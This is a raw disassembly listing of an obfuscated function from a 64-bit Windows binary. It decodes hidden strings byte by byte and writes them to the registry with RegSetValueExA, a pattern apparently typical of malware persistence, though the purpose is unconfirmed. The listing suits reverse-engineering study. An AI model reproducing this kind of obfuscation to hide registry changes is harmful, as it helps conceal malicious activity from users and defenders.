add rdi, rax
inc rdi
jmp 0x140115542
inc rax
cmp r8, rax
jne 0x140115aed
add r10b, 8
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x38
jmp 0x140115f13
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140115b15
add r10b, 0x2c
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x34
add r8, r9
jmp 0x140115e8c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140115b3a
lea edx, [r10 + 0x38]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x140115d36
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14011595f
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140115e4d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140115b89
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x56
jmp 0x140115e4d
inc rax
cmp r8, rax
jne 0x140115bba
sub r10b, 0x7a
movzx eax, r10b
and al, bl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140115542
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140115be6
sub r10b, 0x56
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
add r8, r9
jmp 0x140115e8c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140115c0f
sub r10b, 0x4a
movzx eax, r10b
and al, bl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x140115e8c
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140115919
sub r10b, 0x26
movzx eax, r10b
and al, bl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi - 0x28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140115542
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140115c81
sub r10b, 8
movzx eax, r10b
and al, bl
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi - 0x28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140115542
inc rax
cmp r8, rax
jne 0x140115ca5
add r10b, 4
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x1c
jmp 0x140115f13
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140115ccd
add r10b, 0x28
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x18
add r8, r9
jmp 0x140115e8c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140115ced
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
jmp 0x140115d39
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1401158de
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x140115e4d
mov byte [rbp + rdi - 0x28], r11b
inc rdi
jmp 0x140115542
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
add r11b, bl
add r10b, 0x76
movzx eax, bl
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x3a
add cl, bl
add cl, r10b
mov byte [rbp + rdi - 0x28], cl
add r8, r9
jmp 0x140115e8c
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rcx - 0x64]
jmp 0x140115ec7
sub r10b, 0x16
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x66
movzx eax, byte [rbp + rdi - 0x28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140115542
sub r10b, 0x22
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x12
jmp 0x140115f13
lea edx, [r10 - 0x2e]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140115ec7
sub r10b, 0x3a
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x6a
jmp 0x140115e8c
sub r10b, 0x5e
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x6e
dec rdi
inc rdi
jmp 0x140115542
lea edx, [r10 - 0x76]
movzx eax, dl
and al, bl
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140115e4d
movzx r10d, dil
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1e
add r10b, 0x6a
movzx eax, bl
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, bl
add cl, r10b
mov byte [rbp + rdi - 0x28], cl
inc r9
dec rdi
inc rdi
jmp 0x140115542
lea rax, [rdi + r12]
and sil, al
add sil, sil
sub al, sil
lea r11d, [rbx + rax]
sub r11b, 0x7a
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140115542
movabs rax, 0xec52408028ac8e2a
add rax, rdi
and sil, al
add sil, sil
sub al, sil
lea r11d, [rbx + rax]
sub r11b, 0x26
movzx r10d, dil
sub r10b, 0x7e
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
add cl, cl
add cl, r10b
add cl, bl
movzx eax, cl
mov byte [rbp + rdi - 0x28], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x140115f13
movabs rax, 0xa8cd09801d0d8a1e
add rax, rdi
and sil, al
mov ecx, reloc.WS2_32.dll_socket
sub cl, sil
lea r11d, [rcx + rcx]
add r11b, al
add r11b, bl
lea edx, [rdi - 0x78]
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi - 0x28], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi - 0x28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140115542
lea rax, [rdi + r13]
and sil, al
add sil, sil
sub al, sil
lea r11d, [rbx + rax]
sub r11b, 0x7e
movzx eax, byte [rbp + rdi - 0x28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140115542
add r10b, 0x1e
movzx eax, bl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x140115540
add r10b, 0x12
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x7e
jmp 0x140115530
lea rdx, [rbp + 0x16b5be0]
jmp 0x140115fc8
lea rdx, [rbp + 0xfadde6]
jmp 0x140115fc8
lea rdx, [rbp - 0x28]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140116b40
mov rsi, qword [r14 + 0x10]
cmp qword [r14 + 0x18], 0xf
jbe 0x140116002
mov r14, qword [r14]
mov dword [rbp - 0x50], 0xcacbf6d1
mov dword [rbp - 0x4c], 0xf3cfd1c9
mov word [rbp - 0x48], 0x6dc6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x46], xmm0
mov qword [rbp - 0x36], rax
mov byte [rbp - 0x2e], al
movabs r15, 0x236b43fe7bc32211
movabs r13, 0xf7eedbf56255ee77
movabs r12, 0x6a41cbfb73496633
movzx r8d, byte [rbp + 0x30]
nop dword [rax]
mov rax, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140116b0b
movzx r11d, byte [rbp + rbx - 0x50]
mov edi, r11d
cmp rax, rbx
ja 0x140116b02
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x1401160a1
lea rdx, [rbx + r15]
mov rcx, rdi
and rcx, rdx
imul r8, rcx, 0xfffffffffffffffe
add r8, rdi
add r8, rdx
sub r8b, 0x77
jmp 0x1401160db
je 0x140116a97
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140116a1c
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1401169c7
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1401169a7
lea rcx, [r9 + 8]
cmp rax, rcx
je 0x140116963
movzx r10d, bl
nop
cmp r9, rbx
ja 0x140116af9
lea rcx, [r9 + 0xa]
cmp rax, rcx
jae 0x14011610a
lea edx, [r10 + 0x65]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x3d
jmp 0x140116131
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x14011694b
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x140116928
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x14011690d
lea rcx, [r9 + rax]
cmp rcx, rbx
jbe 0x14011669c
nop
lea rcx, [r9 + 0x400]
cmp rax, rcx
je 0x140116681
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
je 0x14011665b
lea rcx, [r9 + 0x200]
cmp rax, rcx
je 0x140116634
lea rcx, [r9 + 0x80]
cmp rax, rcx
je 0x140116615
lea rcx, [r9 + 0x5a]
cmp rax, rcx
je 0x1401165f4
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x1401165d3
lea rcx, [r9 + 0x7a]
cmp rax, rcx
je 0x1401165b4
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x140116593
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x140116564
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140116140
lea rax, [r9 + 0x64]
lea r9, [rax + 2]
lea rcx, [r9 + 0x42]
cmp rax, rcx
jb 0x140116adc
lea rcx, [r9 + 0x7a]
cmp rax, rcx
jb 0x140116abf
lea rcx, [r9 + 0x61]
cmp rax, rcx
jb 0x140116329
lea rcx, [r9 + 0x1000]
cmp rax, rcx
jb 0x14011630e
lea rcx, [r9 + 3]
cmp rax, rcx
jb 0x1401162f3
lea rcx, [r9 + 2]
cmp rax, rcx
jb 0x140116518
lea rcx, [r9 + 1]
cmp rax, rcx
jb 0x1401164d3
lea rcx, [r9 + 0x2a]
cmp rax, rcx
jb 0x140116493
lea rcx, [r9 + 9]
cmp rax, rcx
jb 0x14011646e
lea rcx, [r9 + 8]
cmp rax, rcx
jb 0x140116140
lea rax, [r9 + 0x400]
lea r9, [rax + 6]
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
ja 0x14011643f
lea rcx, [r9 + 1]
cmp rax, rcx
ja 0x14011641e
lea rcx, [r9 + 0x2a]
cmp rax, rcx
ja 0x1401163ff
lea rcx, [r9 + 0x5a]
cmp rax, rcx
ja 0x1401163e2
lea rdx, [r9 + 0x41]
cmp rax, rdx
ja 0x1401163c5
lea rcx, [r9 + 6]
cmp rax, rcx
ja 0x1401163aa
lea rcx, [r9 + 5]
cmp rax, rcx
ja 0x140116387
lea rcx, [r9 + 4]
cmp rax, rcx
ja 0x140116361
lea rcx, [r9 + 0x28]
cmp rax, rcx
ja 0x140116346
lea rcx, [r9 + 0x20]
cmp rax, rcx
ja 0x140116140
mov rax, rdx
lea r9, [rdx + 0x10]
jmp 0x140116140
lea edx, [r10 + 0x3b]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x63
jmp 0x140116131
lea edx, [r10 + 0x19]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x51
jmp 0x1401160e0
sub r10b, 9
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
add r8b, 0x3f
jmp 0x140116075
lea edx, [r10 + 0x28]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x18
jmp 0x14011697d
add r10b, 6
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x2a
inc r9
dec rbx
inc rbx
jmp 0x140116062
sub r10b, 0x1c
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x3c
dec rbx
inc rbx
jmp 0x140116062
lea edx, [r10 - 0x3e]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x4e
jmp 0x1401169e1
sub r10b, 0x60
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x60
jmp 0x140116a00
add r10b, 0x7e
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x72
jmp 0x140116a03
lea r8d, [r10 + 0x5c]
movzx ecx, r8b
and cl, r11b
mov edx, 0x3e
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x140116a35
add r10b, 0x3a
movzx ecx, r10b
and cl, r11b
mov edx, gethostname
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x140116a5d
add r10b, 0x18
movzx ecx, r10b
and cl, r11b
mov edx, Ordinal_46
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
movzx ecx, byte [rbp + rbx - 0x50]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140116062
sub r10b, 0x3d
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x55
mov byte [rbp + rbx - 0x50], r8b
inc rbx
jmp 0x140116062
lea edx, [r10 - 0x5f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x67
cmp r9, 5
jb 0x140116486
lea edx, [r10 - 0x3a]
movzx ecx, dl
and cl, r11b
mov r8d, recv
sub r8b, cl
add r8b, r8b
add r8b, dl
add r8b, r11b
add r8b, r8b
jmp 0x14011697d
lea edx, [r10 + 0x7f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x79
cmp rax, 0x10
jae 0x1401168d8
lea rcx, [r9 + 0x7a]
cmp rax, rcx
jbe 0x140116828
lea edx, [r10 + 0x72]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x1e
jmp 0x1401164a9
lea edx, [r10 + 0x5d]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x75
lea rcx, [r9 + rax]
cmp rcx, 6
je 0x1401168f6
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
jbe 0x140116748
lea edx, [r10 + 0xd]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x5b
jmp 0x1401164e9
add r10b, 0x5e
movzx ecx, r10b
and cl, r11b
mov edx, gethostname
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
movzx ecx, byte [rbp + rbx - 0x50]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140116062
add r10b, 0x3c
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_46
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x140116a5d
lea r8d, [r10 + 0x1a]
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_41
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x140116a35
sub r10b, 8
movzx ecx, r10b
and cl, r11b
mov edx, Ordinal_32
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x140116a03
sub r10b, 0x2a
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WS2_32.dll_send
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x140116a00
lea r8d, [r10 - 0x4c]
movzx ecx, r8b
and cl, r11b
mov edx, 0xa
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x1401169e1
sub r10b, 0x6e
movzx ecx, r10b
and cl, r11b
mov edx, 1
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
dec rbx
inc rbx
jmp 0x140116062
add r10b, 0x70
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x10
inc r9
dec rbx
inc rbx
jmp 0x140116062
lea edx, [r10 + 0x4e]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x22
jmp 0x14011697d
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x1401166c0
lea edx, [r10 + 0x11]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x77
jmp 0x14011652e
jne 0x1401166f1
sub r10b, 0x36
movzx ecx, r10b
and cl, r11b
mov edx, 0x3d
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
movzx ecx, byte [rbp + rbx - 0x50]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140116062
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x140116715
lea edx, [r10 + 0xe]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x62
jmp 0x140116a35
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x14011652e
sub r10b, 0x48
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 8
inc r9
dec rbx
inc rbx
jmp 0x140116062
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x14011676c
lea edx, [r10 + 0x2f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x49
jmp 0x14011697d
inc rcx
cmp rax, rcx
jne 0x14011678f
lea edx, [r10 - 0x6b]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x13
jmp 0x1401169e1
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1401167b4
sub r10b, 0x49
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
dec r8b
jmp 0x140116a00
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1401167da
sub r10b, 0x27
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
add r8b, 0x11
jmp 0x140116a03
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1401167fe
lea edx, [r10 - 5]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x23
jmp 0x140116a35
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1401164e9
add r10b, 0x1d
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
add r8b, 0x35
jmp 0x140116a5d
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x14011685c
sub r10b, 0x6c
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0xc
movzx ecx, byte [rbp + rbx - 0x50]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140116062
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140116886
sub r10b, 6
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WS2_32.dll_setsockopt
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x140116a03
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1401168b0
add r10b, 0x1c
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x140116a00
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x1401164a9
lea edx, [r10 - 0x5c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x7c
jmp 0x14011697d
lea edx, [r10 - 0x18]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x58
add r8b, r11b
jmp 0x1401169e1
lea edx, [r10 + 0xa]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [rdx - 0x46]
jmp 0x140116a35
lea edx, [r10 - 0x13]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x7b
jmp 0x1401169e1
sub r10b, 0x35
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
add r8b, 0x73
dec rbx
inc rbx
jmp 0x140116062
lea edx, [r10 - 0x79]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x4f
jmp 0x14011697d
movzx r10d, bl
lea edx, [r10 + 0x43]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x2b
sub r10b, 0x29
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
add r10b, 0x1f
add r10b, r11b
mov byte [rbp + rbx - 0x50], r10b
inc r9
dec rbx
inc rbx
jmp 0x140116062
lea edx, [rbx - 1]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 7
dec rbx
inc rbx
jmp 0x140116062
movzx r10d, bl
lea edx, [r10 - 0x23]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0xb
sub r10b, 7
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
add r10b, 0x31
add r10b, r8b
add r10b, r11b
mov byte [rbp + rbx - 0x50], r10b
add rax, r9
movzx ecx, r8b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140116062
lea rcx, [rbx + r13]
and dil, cl
add dil, dil
sub cl, dil
lea r8d, [r11 + rcx]
sub r8b, 0x41
movzx r10d, bl
add r10b, 0x1b
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
add r10b, 0x43
add r10b, r11b
movzx ecx, r10b
mov byte [rbp + rbx - 0x50], cl
inc r9
add rcx, r9
sub rbx, rcx
lea edx, [rbx + 0x2c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
sub dl, 0x34
add dl, r11b
mov byte [rbp + rbx - 0x50], dl
inc rax
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
movzx ecx, byte [rbp + rbx - 0x50]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140116062
lea rcx, [rbx + r12]
and dil, cl
add dil, dil
sub cl, dil
lea r8d, [r11 + rcx]
sub r8b, 0x65
movzx ecx, byte [rbp + rbx - 0x50]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140116062
sub r10b, 0x2b
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
add r8b, 0x2d
jmp 0x140116060
sub r10b, 0x4d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r8d, [r11 + r10]
add r8b, 0x1b
jmp 0x140116050
lea rdx, [rbp + 0x15ae31c]
jmp 0x140116b0f
lea rdx, [rbp + 0xde052d]
jmp 0x140116b0f
lea rdx, [rbp - 0x50]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], r14
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140116b40
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
sete bl
jmp 0x140116b42
xor bl, bl
lea rcx, [rbp + 0x38]
call fcn.140002a20
movzx eax, bl
mov rcx, qword [rbp + 0x58]
xor rcx, rsp
call fcn.140212e90
mov rbx, qword [rsp + 0x1b0]
add rsp, 0x160
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret